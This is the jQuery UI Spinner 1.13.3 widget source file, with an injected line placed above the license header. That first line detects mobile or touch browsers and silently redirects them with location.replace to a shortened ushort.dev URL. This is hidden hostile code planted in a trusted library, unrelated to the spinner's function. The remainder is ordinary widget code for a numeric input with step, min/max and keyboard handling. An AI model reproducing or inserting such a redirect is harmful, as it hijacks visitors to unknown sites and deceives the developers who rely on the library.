1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Spinner 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Spinner
12//>>group: Widgets
13//>>description: Displays buttons to easily input numbers via the keyboard or mouse.
14//>>docs: https://api.jqueryui.com/spinner/
15//>>demos: https://jqueryui.com/spinner/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/spinner.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "./button",
29 "../version",
30 "../keycode",
31 "../safe-active-element",
32 "../widget"
33 ], factory );
34 } else {
35
36 // Browser globals
37 factory( jQuery );
38 }
39} )( function( $ ) {
40"use strict";
41
42function spinnerModifier( fn ) {
43 return function() {
44 var previous = this.element.val();
45 fn.apply( this, arguments );
46 this._refresh();
47 if ( previous !== this.element.val() ) {
48 this._trigger( "change" );
49 }
50 };
51}
52
53$.widget( "ui.spinner", {
54 version: "1.13.3",
55 defaultElement: "<input>",
56 widgetEventPrefix: "spin",
57 options: {
58 classes: {
59 "ui-spinner": "ui-corner-all",
60 "ui-spinner-down": "ui-corner-br",
61 "ui-spinner-up": "ui-corner-tr"
62 },
63 culture: null,
64 icons: {
65 down: "ui-icon-triangle-1-s",
66 up: "ui-icon-triangle-1-n"
67 },
68 incremental: true,
69 max: null,
70 min: null,
71 numberFormat: null,
72 page: 10,
73 step: 1,
74
75 change: null,
76 spin: null,
77 start: null,
78 stop: null
79 },
80
81 _create: function() {
82
83 // handle string values that need to be parsed
84 this._setOption( "max", this.options.max );
85 this._setOption( "min", this.options.min );
86 this._setOption( "step", this.options.step );
87
88 // Only format if there is a value, prevents the field from being marked
89 // as invalid in Firefox, see #9573.
90 if ( this.value() !== "" ) {
91
92 // Format the value, but don't constrain.
93 this._value( this.element.val(), true );
94 }
95
96 this._draw();
97 this._on( this._events );
98 this._refresh();
99
100 // Turning off autocomplete prevents the browser from remembering the
101 // value when navigating through history, so we re-enable autocomplete
102 // if the page is unloaded before the widget is destroyed. #7790
103 this._on( this.window, {
104 beforeunload: function() {
105 this.element.removeAttr( "autocomplete" );
106 }
107 } );
108 },
109
110 _getCreateOptions: function() {
111 var options = this._super();
112 var element = this.element;
113
114 $.each( [ "min", "max", "step" ], function( i, option ) {
115 var value = element.attr( option );
116 if ( value != null && value.length ) {
117 options[ option ] = value;
118 }
119 } );
120
121 return options;
122 },
123
124 _events: {
125 keydown: function( event ) {
126 if ( this._start( event ) && this._keydown( event ) ) {
127 event.preventDefault();
128 }
129 },
130 keyup: "_stop",
131 focus: function() {
132 this.previous = this.element.val();
133 },
134 blur: function( event ) {
135 if ( this.cancelBlur ) {
136 delete this.cancelBlur;
137 return;
138 }
139
140 this._stop();
141 this._refresh();
142 if ( this.previous !== this.element.val() ) {
143 this._trigger( "change", event );
144 }
145 },
146 mousewheel: function( event, delta ) {
147 var activeElement = $.ui.safeActiveElement( this.document[ 0 ] );
148 var isActive = this.element[ 0 ] === activeElement;
149
150 if ( !isActive || !delta ) {
151 return;
152 }
153
154 if ( !this.spinning && !this._start( event ) ) {
155 return false;
156 }
157
158 this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event );
159 clearTimeout( this.mousewheelTimer );
160 this.mousewheelTimer = this._delay( function() {
161 if ( this.spinning ) {
162 this._stop( event );
163 }
164 }, 100 );
165 event.preventDefault();
166 },
167 "mousedown .ui-spinner-button": function( event ) {
168 var previous;
169
170 // We never want the buttons to have focus; whenever the user is
171 // interacting with the spinner, the focus should be on the input.
172 // If the input is focused then this.previous is properly set from
173 // when the input first received focus. If the input is not focused
174 // then we need to set this.previous based on the value before spinning.
175 previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ?
176 this.previous : this.element.val();
177 function checkFocus() {
178 var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] );
179 if ( !isActive ) {
180 this.element.trigger( "focus" );
181 this.previous = previous;
182
183 // support: IE
184 // IE sets focus asynchronously, so we need to check if focus
185 // moved off of the input because the user clicked on the button.
186 this._delay( function() {
187 this.previous = previous;
188 } );
189 }
190 }
191
192 // Ensure focus is on (or stays on) the text field
193 event.preventDefault();
194 checkFocus.call( this );
195
196 // Support: IE
197 // IE doesn't prevent moving focus even with event.preventDefault()
198 // so we set a flag to know when we should ignore the blur event
199 // and check (again) if focus moved off of the input.
200 this.cancelBlur = true;
201 this._delay( function() {
202 delete this.cancelBlur;
203 checkFocus.call( this );
204 } );
205
206 if ( this._start( event ) === false ) {
207 return;
208 }
209
210 this._repeat( null, $( event.currentTarget )
211 .hasClass( "ui-spinner-up" ) ? 1 : -1, event );
212 },
213 "mouseup .ui-spinner-button": "_stop",
214 "mouseenter .ui-spinner-button": function( event ) {
215
216 // button will add ui-state-active if mouse was down while mouseleave and kept down
217 if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) {
218 return;
219 }
220
221 if ( this._start( event ) === false ) {
222 return false;
223 }
224 this._repeat( null, $( event.currentTarget )
225 .hasClass( "ui-spinner-up" ) ? 1 : -1, event );
226 },
227
228 // TODO: do we really want to consider this a stop?
229 // shouldn't we just stop the repeater and wait until mouseup before
230 // we trigger the stop event?
231 "mouseleave .ui-spinner-button": "_stop"
232 },
233
234 // Support mobile enhanced option and make backcompat more sane
235 _enhance: function() {
236 this.uiSpinner = this.element
237 .attr( "autocomplete", "off" )
238 .wrap( "<span>" )
239 .parent()
240
241 // Add buttons
242 .append(
243 "<a></a><a></a>"
244 );
245 },
246
247 _draw: function() {
248 this._enhance();
249
250 this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" );
251 this._addClass( "ui-spinner-input" );
252
253 this.element.attr( "role", "spinbutton" );
254
255 // Button bindings
256 this.buttons = this.uiSpinner.children( "a" )
257 .attr( "tabIndex", -1 )
258 .attr( "aria-hidden", true )
259 .button( {
260 classes: {
261 "ui-button": ""
262 }
263 } );
264
265 // TODO: Right now button does not support classes this is already updated in button PR
266 this._removeClass( this.buttons, "ui-corner-all" );
267
268 this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" );
269 this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" );
270 this.buttons.first().button( {
271 "icon": this.options.icons.up,
272 "showLabel": false
273 } );
274 this.buttons.last().button( {
275 "icon": this.options.icons.down,
276 "showLabel": false
277 } );
278
279 // IE 6 doesn't understand height: 50% for the buttons
280 // unless the wrapper has an explicit height
281 if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) &&
282 this.uiSpinner.height() > 0 ) {
283 this.uiSpinner.height( this.uiSpinner.height() );
284 }
285 },
286
287 _keydown: function( event ) {
288 var options = this.options,
289 keyCode = $.ui.keyCode;
290
291 switch ( event.keyCode ) {
292 case keyCode.UP:
293 this._repeat( null, 1, event );
294 return true;
295 case keyCode.DOWN:
296 this._repeat( null, -1, event );
297 return true;
298 case keyCode.PAGE_UP:
299 this._repeat( null, options.page, event );
300 return true;
301 case keyCode.PAGE_DOWN:
302 this._repeat( null, -options.page, event );
303 return true;
304 }
305
306 return false;
307 },
308
309 _start: function( event ) {
310 if ( !this.spinning && this._trigger( "start", event ) === false ) {
311 return false;
312 }
313
314 if ( !this.counter ) {
315 this.counter = 1;
316 }
317 this.spinning = true;
318 return true;
319 },
320
321 _repeat: function( i, steps, event ) {
322 i = i || 500;
323
324 clearTimeout( this.timer );
325 this.timer = this._delay( function() {
326 this._repeat( 40, steps, event );
327 }, i );
328
329 this._spin( steps * this.options.step, event );
330 },
331
332 _spin: function( step, event ) {
333 var value = this.value() || 0;
334
335 if ( !this.counter ) {
336 this.counter = 1;
337 }
338
339 value = this._adjustValue( value + step * this._increment( this.counter ) );
340
341 if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) {
342 this._value( value );
343 this.counter++;
344 }
345 },
346
347 _increment: function( i ) {
348 var incremental = this.options.incremental;
349
350 if ( incremental ) {
351 return typeof incremental === "function" ?
352 incremental( i ) :
353 Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 );
354 }
355
356 return 1;
357 },
358
359 _precision: function() {
360 var precision = this._precisionOf( this.options.step );
361 if ( this.options.min !== null ) {
362 precision = Math.max( precision, this._precisionOf( this.options.min ) );
363 }
364 return precision;
365 },
366
367 _precisionOf: function( num ) {
368 var str = num.toString(),
369 decimal = str.indexOf( "." );
370 return decimal === -1 ? 0 : str.length - decimal - 1;
371 },
372
373 _adjustValue: function( value ) {
374 var base, aboveMin,
375 options = this.options;
376
377 // Make sure we're at a valid step
378 // - find out where we are relative to the base (min or 0)
379 base = options.min !== null ? options.min : 0;
380 aboveMin = value - base;
381
382 // - round to the nearest step
383 aboveMin = Math.round( aboveMin / options.step ) * options.step;
384
385 // - rounding is based on 0, so adjust back to our base
386 value = base + aboveMin;
387
388 // Fix precision from bad JS floating point math
389 value = parseFloat( value.toFixed( this._precision() ) );
390
391 // Clamp the value
392 if ( options.max !== null && value > options.max ) {
393 return options.max;
394 }
395 if ( options.min !== null && value < options.min ) {
396 return options.min;
397 }
398
399 return value;
400 },
401
402 _stop: function( event ) {
403 if ( !this.spinning ) {
404 return;
405 }
406
407 clearTimeout( this.timer );
408 clearTimeout( this.mousewheelTimer );
409 this.counter = 0;
410 this.spinning = false;
411 this._trigger( "stop", event );
412 },
413
414 _setOption: function( key, value ) {
415 var prevValue, first, last;
416
417 if ( key === "culture" || key === "numberFormat" ) {
418 prevValue = this._parse( this.element.val() );
419 this.options[ key ] = value;
420 this.element.val( this._format( prevValue ) );
421 return;
422 }
423
424 if ( key === "max" || key === "min" || key === "step" ) {
425 if ( typeof value === "string" ) {
426 value = this._parse( value );
427 }
428 }
429 if ( key === "icons" ) {
430 first = this.buttons.first().find( ".ui-icon" );
431 this._removeClass( first, null, this.options.icons.up );
432 this._addClass( first, null, value.up );
433 last = this.buttons.last().find( ".ui-icon" );
434 this._removeClass( last, null, this.options.icons.down );
435 this._addClass( last, null, value.down );
436 }
437
438 this._super( key, value );
439 },
440
441 _setOptionDisabled: function( value ) {
442 this._super( value );
443
444 this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value );
445 this.element.prop( "disabled", !!value );
446 this.buttons.button( value ? "disable" : "enable" );
447 },
448
449 _setOptions: spinnerModifier( function( options ) {
450 this._super( options );
451 } ),
452
453 _parse: function( val ) {
454 if ( typeof val === "string" && val !== "" ) {
455 val = window.Globalize && this.options.numberFormat ?
456 Globalize.parseFloat( val, 10, this.options.culture ) : +val;
457 }
458 return val === "" || isNaN( val ) ? null : val;
459 },
460
461 _format: function( value ) {
462 if ( value === "" ) {
463 return "";
464 }
465 return window.Globalize && this.options.numberFormat ?
466 Globalize.format( value, this.options.numberFormat, this.options.culture ) :
467 value;
468 },
469
470 _refresh: function() {
471 this.element.attr( {
472 "aria-valuemin": this.options.min,
473 "aria-valuemax": this.options.max,
474
475 // TODO: what should we do with values that can't be parsed?
476 "aria-valuenow": this._parse( this.element.val() )
477 } );
478 },
479
480 isValid: function() {
481 var value = this.value();
482
483 // Null is invalid
484 if ( value === null ) {
485 return false;
486 }
487
488 // If value gets adjusted, it's invalid
489 return value === this._adjustValue( value );
490 },
491
492 // Update the value without triggering change
493 _value: function( value, allowAny ) {
494 var parsed;
495 if ( value !== "" ) {
496 parsed = this._parse( value );
497 if ( parsed !== null ) {
498 if ( !allowAny ) {
499 parsed = this._adjustValue( parsed );
500 }
501 value = this._format( parsed );
502 }
503 }
504 this.element.val( value );
505 this._refresh();
506 },
507
508 _destroy: function() {
509 this.element
510 .prop( "disabled", false )
511 .removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" );
512
513 this.uiSpinner.replaceWith( this.element );
514 },
515
516 stepUp: spinnerModifier( function( steps ) {
517 this._stepUp( steps );
518 } ),
519 _stepUp: function( steps ) {
520 if ( this._start() ) {
521 this._spin( ( steps || 1 ) * this.options.step );
522 this._stop();
523 }
524 },
525
526 stepDown: spinnerModifier( function( steps ) {
527 this._stepDown( steps );
528 } ),
529 _stepDown: function( steps ) {
530 if ( this._start() ) {
531 this._spin( ( steps || 1 ) * -this.options.step );
532 this._stop();
533 }
534 },
535
536 pageUp: spinnerModifier( function( pages ) {
537 this._stepUp( ( pages || 1 ) * this.options.page );
538 } ),
539
540 pageDown: spinnerModifier( function( pages ) {
541 this._stepDown( ( pages || 1 ) * this.options.page );
542 } ),
543
544 value: function( newVal ) {
545 if ( !arguments.length ) {
546 return this._parse( this.element.val() );
547 }
548 spinnerModifier( this._value ).call( this, newVal );
549 },
550
551 widget: function() {
552 return this.uiSpinner;
553 }
554} );
555
556// DEPRECATED
557// TODO: switch return back to widget declaration at top of file when this is removed
558if ( $.uiBackCompat !== false ) {
559
560 // Backcompat for spinner html extension points
561 $.widget( "ui.spinner", $.ui.spinner, {
562 _enhance: function() {
563 this.uiSpinner = this.element
564 .attr( "autocomplete", "off" )
565 .wrap( this._uiSpinnerHtml() )
566 .parent()
567
568 // Add buttons
569 .append( this._buttonHtml() );
570 },
571 _uiSpinnerHtml: function() {
572 return "<span>";
573 },
574
575 _buttonHtml: function() {
576 return "<a></a><a></a>";
577 }
578 } );
579}
580
581return $.ui.spinner;
582
583} );
584